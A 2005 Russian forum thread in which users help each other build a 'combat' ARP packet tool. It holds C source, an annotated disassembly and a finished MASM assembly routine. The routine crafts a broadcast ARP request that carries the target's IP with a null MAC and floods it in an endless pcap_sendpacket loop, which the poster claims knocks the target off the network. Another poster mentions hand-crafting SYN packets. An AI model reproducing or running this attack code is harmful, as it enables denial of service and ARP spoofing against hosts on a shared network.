Помогите собрать боеголовку :)

Тема в разделе "WASM.NETWORKS", создана пользователем Flasher, 5 янв 2005.

  1. Flasher

    Flasher Member

    Публикаций:
    0
    Регистрация:
    31 янв 2004
    Сообщения:
    640
    Точнее уже есть код боевого arp-пакета, но на си, если кто поможет собрать тоже самое на асме, был бы безмерно благодарен!


    Код (Text):
    1. #define ETHSIZE sizeof(struct ether)
    2. #define ARPSIZE sizeof(struct arphdr)
    3. #define SIZE    ETHSIZE + ARPSIZE
    4. #define DEST    "\xff\xff\xff\xff\xff\xff"
    5. #define SOURCE  "\x00\x00\x00\x00\x00\x00"
    6.  
    7.   //  dst_ip = inet_addr(ip)
    8.   //  fp = descriptor(\Device\NPF_{BEDDAA1B-FB18-4E18-8391-EE77EA185295})
    9.  
    10.     ether  = (struct ether *)buff;
    11.     arphdr = (struct arphdr *)(buff + ETHSIZE);
    12.  
    13.     memcpy(ether->dest, DEST, ETHERLEN);
    14.     memcpy(ether->source, SOURCE, ETHERLEN);
    15.     ether->type = htons(ETHERTYPE_ARP);
    16.  
    17.     arphdr->hwtype  = htons(ARPHRD_ETHER);
    18.     arphdr->ptype   = htons(ETHERTYPE_IP);
    19.     arphdr->hwlen   = ETHERLEN;
    20.     arphdr->plen    = PROTOLEN;
    21.     arphdr->opcode  = htons(ARPOP_REQUEST);
    22.     memcpy(arphdr->hwsource, SOURCE, ETHERLEN);
    23.     arphdr->psource = dst_ip;
    24.     memcpy(arphdr->hwdest, DEST, ETHERLEN);
    25.     arphdr->pdest   = dst_ip;
    26.  
    27.   // while(1) {
    28.   //      if(pcap_sendpacket(fp, buff, sizeof(buff)) < 0) {
    29.   //          printf("\nError: problems for sending packet\n");
    30.   //         exit(1);
    31.   //      }
    32.   //      printf(".");
    33.   //      sleep(1);
    34.   //  }
    35.     return(0);
    36. }




    [​IMG] _85845900__arp.h
     
  2. q_q

    q_q New Member

    Публикаций:
    0
    Регистрация:
    5 окт 2003
    Сообщения:
    1.706
    Flasher

    В чем проблема? Запусти Сишный компилятор с ключом генерации asm-листинга.
     
  3. Narkomanius

    Narkomanius New Member

    Публикаций:
    0
    Регистрация:
    14 апр 2003
    Сообщения:
    144
    а что, это должно возъиметь эффект? арп ответы не вызовут новых пакетов. и бла бла бла легче синфлудом забить
     
  4. Flasher

    Flasher Member

    Публикаций:
    0
    Регистрация:
    31 янв 2004
    Сообщения:
    640
    q_q

    Проблема в том, что все компиляторы требуют чтоб код был рабочий, иначе asm-листинга не будет.(насчёт "все" - я конечно поторопился, но на vcpp6 с ключами cl /FAs, Fa - требует рабочий код). А чтоб сделать код рабочим нуно цеплять кучу pcap include, пробовал, да серого вещества не хватает :)



    p.s. доводы конечно слабие, но какие уж есть..



    Narkomanius

    после получения этих покетов отключаешся от сети, пока ip не сменишь - не зайдёшь.
     
  5. ZlovreD

    ZlovreD New Member

    Публикаций:
    0
    Регистрация:
    5 авг 2004
    Сообщения:
    28
    Попытаюсь собрать! Завтра или сегодня....

    Я давно уже хотел найти что-нибуть подобное...

    Хочешь устроить атаку типа ARP-dummynet? :)
     
  6. ZlovreD

    ZlovreD New Member

    Публикаций:
    0
    Регистрация:
    5 авг 2004
    Сообщения:
    28
    int pcap_sendpacket ( pcap_t * p,

    u_char * buf,

    int size)

    Чтоб отправить пакет нужно получить параметр pcap_t *

    С помощью какой функции получить этот параметр и где посмотреть описание передаваемых функции параметров?
     
  7. Stub

    Stub New Member

    Публикаций:
    0
    Регистрация:
    11 май 2004
    Сообщения:
    311
    Адрес:
    Siberia
  8. ZlovreD

    ZlovreD New Member

    Публикаций:
    0
    Регистрация:
    5 авг 2004
    Сообщения:
    28
  9. Vovane

    Vovane New Member

    Публикаций:
    0
    Регистрация:
    6 ноя 2004
    Сообщения:
    58
    Адрес:
    Afghanistan
  10. Flasher

    Flasher Member

    Публикаций:
    0
    Регистрация:
    31 янв 2004
    Сообщения:
    640
    хм...

    ZlovreD

    А какой эффект был, кода на себя проверял?

    "Конфликт ip" ?
     
  11. ZlovreD

    ZlovreD New Member

    Публикаций:
    0
    Регистрация:
    5 авг 2004
    Сообщения:
    28
    Да нет небыло никакого конфликта,небыло и никакого

    эффекта. :)

    Откуда ты взял то что после получения этих покетов отключаешся от сети, пока ip не сменишь?
     
  12. Flasher

    Flasher Member

    Публикаций:
    0
    Регистрация:
    31 янв 2004
    Сообщения:
    640
  13. Flasher

    Flasher Member

    Публикаций:
    0
    Регистрация:
    31 янв 2004
    Сообщения:
    640
    воть :)
     
  14. Flasher

    Flasher Member

    Публикаций:
    0
    Регистрация:
    31 янв 2004
    Сообщения:
    640
  15. q_q

    q_q New Member

    Публикаций:
    0
    Регистрация:
    5 окт 2003
    Сообщения:
    1.706
    Flasher

    компиляторы требуют чтоб код был рабочий

    Ты вообще не имеешь представления о Си?

    Достаточно, чтобы код компилировался.
    Код (Text):
    1. #pragma warning(disable : 4103)
    2. #include "arp.h"
    3. #pragma warning(default : 4103)
    4.  
    5. extern unsigned short _stdcall htons(unsigned short hostshort);
    6.  
    7. #define ETHSIZE sizeof(struct ether)
    8. #define ARPSIZE sizeof(struct arphdr)
    9. #define SIZE    ETHSIZE + ARPSIZE
    10. #define DEST    "\xff\xff\xff\xff\xff\xff"
    11. #define SOURCE  "\x00\x00\x00\x00\x00\x00"
    12.  
    13. int foo(unsigned char *buff, unsigned long dst_ip)
    14. {
    15.   struct ether *ether  = (struct ether *)buff;
    16.   struct arphdr *arphdr = (struct arphdr *)(buff + ETHSIZE);
    17.  
    18.   memcpy(ether->dest, DEST, ETHERLEN);
    19.   memcpy(ether->source, SOURCE, ETHERLEN);
    20.   ether->type = htons(ETHERTYPE_ARP);
    21.  
    22.   arphdr->hwtype  = htons(ARPHRD_ETHER);
    23.   arphdr->ptype   = htons(ETHERTYPE_IP);
    24.   arphdr->hwlen   = ETHERLEN;
    25.   arphdr->plen    = PROTOLEN;
    26.   arphdr->opcode  = htons(ARPOP_REQUEST);
    27.   memcpy(arphdr->hwsource, SOURCE, ETHERLEN);
    28.   arphdr->psource = dst_ip;
    29.   memcpy(arphdr->hwdest, DEST, ETHERLEN);
    30.   arphdr->pdest   = dst_ip;
    31.  
    32.   return(0);
    33. }
     
  16. Flasher

    Flasher Member

    Публикаций:
    0
    Регистрация:
    31 янв 2004
    Сообщения:
    640
    q_q

    Еслиб имел представление, не тупил бы ;)
     
  17. q_q

    q_q New Member

    Публикаций:
    0
    Регистрация:
    5 окт 2003
    Сообщения:
    1.706
    Flasher

    Загрузить winarpw.exe в Olly и попробовать сопоставить C'шный код asm'у не пробовал?



    У меня получилось так
    Код (Text):
    1. ...
    2. WSACleanup();
    3.  
    4. fp = get_iface();
    5.  
    6. ether  = (struct ether *)buff;
    7. arphdr = (struct arphdr *)(buff + ETHSIZE);
    8.  
    9. memcpy(ether->dest, DEST, ETHERLEN);
    10. memcpy(ether->source, SOURCE, ETHERLEN);
    11. ether->type = htons(ETHERTYPE_ARP);
    12.  
    13. arphdr->hwtype  = htons(ARPHRD_ETHER);
    14. arphdr->ptype   = htons(ETHERTYPE_IP);
    15. arphdr->hwlen   = ETHERLEN;
    16. arphdr->plen    = PROTOLEN;
    17. arphdr->opcode  = htons(ARPOP_REQUEST);
    18. memcpy(arphdr->hwsource, SOURCE, ETHERLEN);
    19. arphdr->psource = dst_ip;
    20. memcpy(arphdr->hwdest, DEST, ETHERLEN);
    21. arphdr->pdest   = dst_ip;
    22.  
    23. while(1) {
    24.     if(pcap_sendpacket(fp, buff, sizeof(buff)) < 0) {
    25.         printf("\nError: problems for sending packet\n");
    26.         exit(1);
    27.     }
    28.     printf(".");
    29.     sleep(DELAY);
    30. }
    31. ...
    32. 0040159B CALL <JMP.&WS2_32.WSACleanup>       ;; WSACleanup();
    33. 004015A0 CALL _1962936.00401310              ;; EAX <- get_iface();
    34. 004015A5 SUB ESP,0C
    35.                                              ;; 00403191 db 00h, 00h, 00h, 00h, 00h, 00h, 00h, 0Ah, ...
    36. 004015A8 MOV ECX,DWORD PTR DS:[403191]       ;; ECX <- 00000000h
    37. 004015AE MOV BX,WORD PTR DS:[403195]         ;; BX  <- 0000h
    38. 004015B5 MOV DWORD PTR SS:[EBP-1DC],ECX      ;; ????
    39. 004015BB MOV DWORD PTR SS:[EBP-42],ECX       ;;\
    40.                                              ;; } memcpy(ether->source, SOURCE, ETHERLEN);
    41. 004015BE MOV WORD PTR SS:[EBP-3E],BX         ;;/
    42. 004015C2 MOV EDI,EAX                         ;; EDI <- fp
    43. 004015C4 MOV DWORD PTR SS:[EBP-48],0FFFFFFFF ;;\
    44.                                              ;; } memcpy(ether->dest, DEST, ETHERLEN);
    45. 004015CB MOV WORD PTR SS:[EBP-44],0FFFF      ;;/
    46. 004015D1 PUSH 806                            ;;\
    47. 004015D6 CALL <JMP.&WS2_32.htons>            ;; } ether->type = htons(ETHERTYPE_ARP);
    48. 004015DB MOV WORD PTR SS:[EBP-3C],AX         ;;/
    49. 004015DF PUSH 1                              ;;\
    50. 004015E1 CALL <JMP.&WS2_32.htons>            ;; } arphdr->hwtype  = htons(ARPHRD_ETHER);
    51. 004015E6 MOV WORD PTR SS:[EBP-3A],AX         ;;/
    52. 004015EA PUSH 800                            ;; ETHERTYPE_IP
    53. 004015EF CALL <JMP.&WS2_32.htons>            ;; EAX <- htons(ETHERTYPE_IP);
    54. 004015F4 MOV BYTE PTR SS:[EBP-36],6          ;; arphdr->hwlen   = ETHERLEN;
    55. 004015F8 MOV BYTE PTR SS:[EBP-35],4          ;; arphdr->plen    = PROTOLEN;
    56. 004015FC MOV WORD PTR SS:[EBP-38],AX         ;; arphdr->ptype   = htons(ETHERTYPE_IP);
    57. 00401600 PUSH 1                              ;; ARPOP_REQUEST
    58. 00401602 CALL <JMP.&WS2_32.htons>            ;; EAX <- htons(ARPOP_REQUEST);
    59. 00401607 MOV WORD PTR SS:[EBP-2E],BX         ;; часть memcpy(arphdr->hwsource, SOURCE, ETHERLEN);
    60. 0040160B ADD ESP,0C
    61. 0040160E LEA EBX,DWORD PTR SS:[EBP-48]       ;; EBX <- адрес buff
    62. 00401611 MOV WORD PTR SS:[EBP-34],AX         ;; arphdr->opcode  = htons(ARPOP_REQUEST);
    63. 00401615 MOV EAX,DWORD PTR SS:[EBP-1DC]      ;; EAX <- 00000000h см. команду по адресу 004015B5
    64. 0040161B MOV DWORD PTR SS:[EBP-32],EAX       ;; часть memcpy(arphdr->hwsource, SOURCE, ETHERLEN);
    65. 0040161E MOV DWORD PTR SS:[EBP-2C],ESI       ;; arphdr->psource = dst_ip;
    66. 00401621 MOV DWORD PTR SS:[EBP-28],0FFFFFFFF ;;\                                          
    67.                                              ;; } memcpy(arphdr->hwdest, DEST, ETHERLEN);
    68. 00401628 MOV WORD PTR SS:[EBP-24],0FFFF      ;;/
    69. 0040162E MOV DWORD PTR SS:[EBP-22],ESI       ;; arphdr->pdest   = dst_ip;
    70. 00401631 JMP SHORT _1962936.0040164C         ;; открывающаяся скобка while(1){ ... }
    71. 00401633 SUB ESP,0C
    72. 00401636 PUSH 2E                             ;; '.'
    73. 00401638 CALL <JMP.&msvcrt.putchar>          ;; printf(".");
    74. 0040163D MOV DWORD PTR SS:[ESP],1F4          ;; 1F4h == 500, т.к. CLOCKS_PER_SEC  1000
    75. 00401644 CALL <JMP.&msvcrt._sleep>           ;; sleep(DELAY);
    76. 00401649 ADD ESP,10
    77. 0040164C PUSH EAX                            ;;\                              
    78. 0040164D PUSH 2A                             ;; \_
    79. 0040164F PUSH EBX                            ;;   } pcap_sendpacket(fp, buff, sizeof(buff))
    80. 00401650 PUSH EDI                            ;;  /
    81. 00401651 CALL <JMP.&wpcap.pcap_sendpacket>   ;; /
    82. 00401656 ADD ESP,10                          ;;/
    83. 00401659 TEST EAX,EAX                        ;; if(pcap_sendpacket(...) < 0) {
    84. 0040165B JNS SHORT _1962936.00401633         ;; закрывающаяся скобка while(1){ ... }
    85. 0040165D SUB ESP,0C
    86.                                              ;; 00403198 db 'Error: problems for sending packet"'
    87. 00401660 PUSH _1962936.00403198              ;;\
    88. 00401665 CALL <JMP.&msvcrt.puts>             ;; } printf("\nError: problems for sending packet\n");
    89. 0040166A POP EAX                             ;;/
    90. 0040166B PUSH 1                              ;;\
    91. 0040166D CALL <JMP.&msvcrt.exit>             ;; } exit(1);
    92. ...
     
  18. Flasher

    Flasher Member

    Публикаций:
    0
    Регистрация:
    31 янв 2004
    Сообщения:
    640
    Попробовал востановить, но полная каша получилась.





    [​IMG] _1431901298__warp.asm
     
  19. q_q

    q_q New Member

    Публикаций:
    0
    Регистрация:
    5 окт 2003
    Сообщения:
    1.706
    Flasher

    Н-да. Тяжко. Держи.
    Код (Text):
    1. .386
    2. .model flat,stdcall
    3.  
    4. arphdr struct
    5.   arp_hwtype   dw ?
    6.   arp_ptype    dw ?
    7.   arp_hwlen    db ?
    8.   arp_plen     db ?
    9.   arp_opcode   dw ?
    10.   arp_hwsource db 6 dup(?)
    11.   arp_psource  dd ?
    12.   arp_hwdest   db 6 dup(?)
    13.   arp_pdest    dd ?
    14. arphdr ends
    15.  
    16. ether struct
    17.   eth_dest db 6 dup(?)  
    18.   eth_src  db 6 dup(?)  
    19.   eth_type dw ?
    20. ether ends
    21.  
    22. ETHSIZE       = sizeof ether
    23. ARPSIZE       = sizeof arphdr
    24. ETHERLEN      = 6
    25. PROTOLEN      = 4
    26. ARPHRD_ETHER  = 1
    27. ARPOP_REQUEST = 1
    28. ETHERTYPE_IP  = 0800h
    29. ETHERTYPE_ARP = 0806h
    30.  
    31. extern htons : proc
    32. extern Sleep : proc
    33. extern pcap_sendpacket : proc
    34.  
    35. .code
    36.   even
    37.   foo proc uses ebx edi, dst_ip : dword, fp : dword
    38.     local buff[ETHSIZE + ARPSIZE] : byte
    39.  
    40.   ;; в EDI адрес WS2_32.htons
    41.     mov edi,htons
    42.     lea ebx,buff
    43.  
    44.   ;; memcpy(ether->source, SOURCE, ETHERLEN);
    45.     xor eax,eax
    46.     mov [ebx+6],eax
    47.     mov [ebx+0Ah],ax
    48.   ;; memcpy(ether->dest, DEST, ETHERLEN);
    49.     not eax
    50.     mov [ebx],eax
    51.     mov [ebx+4],ax
    52.   ;; ether->type = htons(ETHERTYPE_ARP);
    53.     push ETHERTYPE_ARP
    54.     call edi
    55.     mov (ether ptr [ebx]).eth_type,ax
    56.  
    57.     add ebx,ETHSIZE
    58.  
    59.   ;; arphdr->hwtype = htons(ARPHRD_ETHER);
    60.     push ARPHRD_ETHER
    61.     call edi
    62.     mov (arphdr ptr [ebx]).arp_hwtype,ax
    63.   ;; arphdr->ptype = htons(ETHERTYPE_IP);
    64.     push ETHERTYPE_IP
    65.     call edi
    66.     mov (arphdr ptr [ebx]).arp_ptype,ax
    67.   ;; arphdr->hwlen = ETHERLEN;
    68.     mov (arphdr ptr [ebx]).arp_hwlen,ETHERLEN
    69.   ;; arphdr->plen = PROTOLEN;
    70.     mov (arphdr ptr [ebx]).arp_plen,PROTOLEN
    71.   ;; arphdr->opcode = htons(ARPOP_REQUEST);
    72.     push ARPOP_REQUEST
    73.     call edi
    74.     mov (arphdr ptr [ebx]).arp_opcode,ax
    75.   ;; memcpy(arphdr->hwsource, SOURCE, ETHERLEN);
    76.     xor eax,eax
    77.     mov [ebx+8],eax
    78.     mov [ebx+0Ch],ax
    79.   ;; arphdr->psource = dst_ip;
    80.     push dst_ip
    81.     pop (arphdr ptr [ebx]).arp_psource
    82.   ;; memcpy(arphdr->hwdest, DEST, ETHERLEN);
    83.     not eax
    84.     mov [ebx+12h],eax
    85.     mov [ebx+16h],ax
    86.   ;; arphdr->pdest = dst_ip;
    87.     push dst_ip
    88.     pop (arphdr ptr [ebx]).arp_pdest
    89.   ;; в EDI адрес wpcap.pcap_sendpacket
    90.     mov edi,pcap_sendpacket
    91.   @@:
    92.   ;; pcap_sendpacket(fp, buff, sizeof(buff))
    93.     push sizeof buff
    94.     push ebx
    95.     push fp
    96.     call edi
    97.     add esp,0Ch
    98.     test eax,eax
    99.     js short @F
    100.   ;; тут можешь рисовать точки, я ограничусь слипом
    101.   ;; printf(".");
    102.   ;; sleep(1);
    103.     push 500         ;; half second
    104.     call Sleep
    105.     jmp short @B
    106.   @@:
    107.     xor eax,eax
    108.     ret
    109.   foo endp
    110. end
     
  20. Vovane

    Vovane New Member

    Публикаций:
    0
    Регистрация:
    6 ноя 2004
    Сообщения:
    58
    Адрес:
    Afghanistan
    Я тут собрал весь ракет Ethernet->IP->TCP(SYN).

    "Пальнул" через pcap_sendpacket и мне даже ответили :)))